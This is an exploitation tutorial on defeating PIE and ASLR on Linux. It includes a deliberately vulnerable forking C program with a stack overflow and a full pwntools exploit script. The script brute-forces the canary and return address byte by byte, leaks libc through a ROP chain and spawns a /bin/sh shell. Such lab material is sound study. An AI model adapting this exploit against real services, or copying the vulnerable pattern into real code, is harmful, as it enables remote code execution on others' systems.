Dealing with Position Independent Code (PIE)
Dealing with position independent executables (PIE) is very similar to how we dealt with the stack canary. Either we must be able to leak an address so we can bypass aslr, or we need to have an application that uses “fork”.
Exploitation
Recommended tools:
- gdb (For any debugging on linux this is just the best tool there is period)
- gef (https://gef.readthedocs.io/en/master/)
- pwntools (https://github.com/Gallopsled/pwntools)
Compilation
We have the following vulnerable application:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
void func(){
char overflowme[32];
printf("overflow me: ");
fflush(stdout);
read(STDIN_FILENO, overflowme, 200);
printf("Now you face the wrath of my canary!\n");
fflush(stdout);
}
int main(int argc, char* argv[]){
while(1) {
if (fork()== 0) {
func();
printf("Ok bye!\n");
fflush(stdout);
exit(0);
} else {
wait(NULL);
}
}
return 0;
}
We compile it with:
gcc bof_pie.c -o bof_pie -fstack-protector
Investigation
In this case we will try to intentionally let the application crash by jumping into invalid memory locations and using the application crashes to figure out the address space of the application.
Let’s take a look at how our address space behaves after compiling the previous application with PIE. If we look at for example the start address of the “func” function we see it is located at the following address:
Because this is an executable compiled as a PIE, this address will change every time we run it. We do this a couple of times and note which addresses the function is located at:
- 0x55abdfecf1a5
- 0x558d369611a5
- 0x561a69a2e1a5
- 0x55feab9901a5
- 0x55f84b8cf1a5
We can see that the last one and a half byte is always the same. 1a5. This is very important to us as it will significantly help us in bruteforcing the address space of our target application.
We can have a look at the non-randomized address space by running the following command:
objdump -d bof_pie
We can see the entire binary fits within one and a half byte of address space. These last one and a half bytes will be identical any time we run the application. It is only the other remaining bytes that can be randomized by ASLR. We also see in the objdump output the start address of the func function. Which is, (as expected) equal to what we saw in gdb (ends in 1a5):
All of this means that if we manage to leak any known address inside the binary, we can just set the last one and a half byte to ‘000’ and we have the base address for our binary.
NOTE: This also means we do not need to bruteforce the last one and a half byte of our payload, because we already know what it will be. In our case this will not be necessary and will only require more python code. But in some cases this can be incredibly important.
For example, it could be possible that if we try to bruteforce these lower bytes as well, we just jump straight into a different part of our binary that is still valid code, which will not result in a crash and we will falsely assume we brute forced the lower bytes correctly.
In fact, even the first half byte (and a couple bits more) are always identical so we don't really have to brute force them if speed is the goal.
Popping a shell
In our case, we do not have any issues regarding bruteforcing the lower bytes which means we can just reuse our bruteforcing code we used to bypass the stack canary.
#!/usr/bin/env python3
from pwn import *
# NOTE: this path cannot contain spaces
process_name = '/home/polle/Desktop/buffer_overflow/bof_pie'
use_gdb = False
gdb_args = '''
break *func
#break *func+77
gef config context.nb_lines_stack 20
gef config context.nb_lines_code 20
#set follow-fork-mode child
continue'''
if use_gdb:
# We start our process in GDB
# This allows us to also immediately execute some gdb commands
p = gdb.debug(process_name, gdb_args)
else:
# We start our process normally
p = process(process_name)
elf = ELF(process_name) # Extract data from binary
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf) # Find ROP gadgets
def get_addr(buffer_payload, func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop = buffer_payload + ebp.encode() + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
# Send our rop-chain payload
print(p.clean())
p.sendline(rop)
# Parse leaked address
leaked_string = p.recvuntil("overflow me:")
print(leaked_string)
recieved = leaked_string.replace(b"overflow me:", b"").strip()
recieved = recieved.replace(b"Now you face the wrath of my canary!", b"").strip()
leak = u64(recieved.ljust(8, b"\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
if libc != "":
libc.address = leak - libc.symbols[func_name] # Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
def bruteforce_next_byte(payload):
for i in range(256):
next_test = 0x01 * i
next_test = bytes([next_test])
test_payload = payload + next_test
# Note that we cannot send any newlines here as "read" will just absorb them into the buffer
p.send(test_payload)
output = p.recvuntil("overflow me:")
#print(output)
if "bye" in output.decode():
print(f"[+] Found next byte {hex(i)}")
return next_test
if i == 255:
print(f"[-] Failed to find next byte")
exit()
offset = 'A'*24 + 'BBBBBBBBCCCCCCCC'
ebp = 'XXXXXXXX'
p.clean()
payload_to_canary = offset.encode()
canary = b''
for i in range(8):
canary = canary + bruteforce_next_byte(payload_to_canary + canary)
print(f"Found canary value: {canary.hex()}")
payload_with_canary = payload_to_canary + canary
payload_with_canary_and_ebp = payload_with_canary + ebp.encode()
rip = b''
for i in range(8):
rip = rip + bruteforce_next_byte(payload_with_canary_and_ebp + rip)
rip = u64(rip.ljust(8, b"\x00"))
print(f"Found rip value: {hex(rip)}")
# We also need to substract 0x1000 from them all. As we can see in 'objdump', the addresses start at 1000
elf.address = rip - (rip & 0xfff) - 0x1000
# We have to do this AFTER setting elf.address, which will then automatically be added to our search
# If we do this before setting elf.address, we will just get the address without the ASLR offset
MAIN_PLT = elf.symbols['main']
PUTS_PLT = elf.plt["printf"]
# For the ROP gadget we need to add it manually (I could not get this to work with pwntools)
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] + elf.address
log.info("main start: " + hex(MAIN_PLT))
log.info("printf plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
get_addr(payload_with_canary, "printf")
# We have to do this AFTER doing get_addr once. get_addr will set the base address of libc, which will then automatically be added to our search
# If we do this before setting libc, we will just get the address without the ASLR offset
BIN_SH = next(libc.search(b"/bin/sh"))
SYSTEM = libc.sym["system"]
payload = payload_with_canary + ebp.encode() + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM)
print(p.clean())
p.sendline(payload)
# Receive all data that the application sent us that we have not yet processed and print it
print(p.clean())
# Start interaction with application
p.interactive()
Running this exploit gives us our shell:

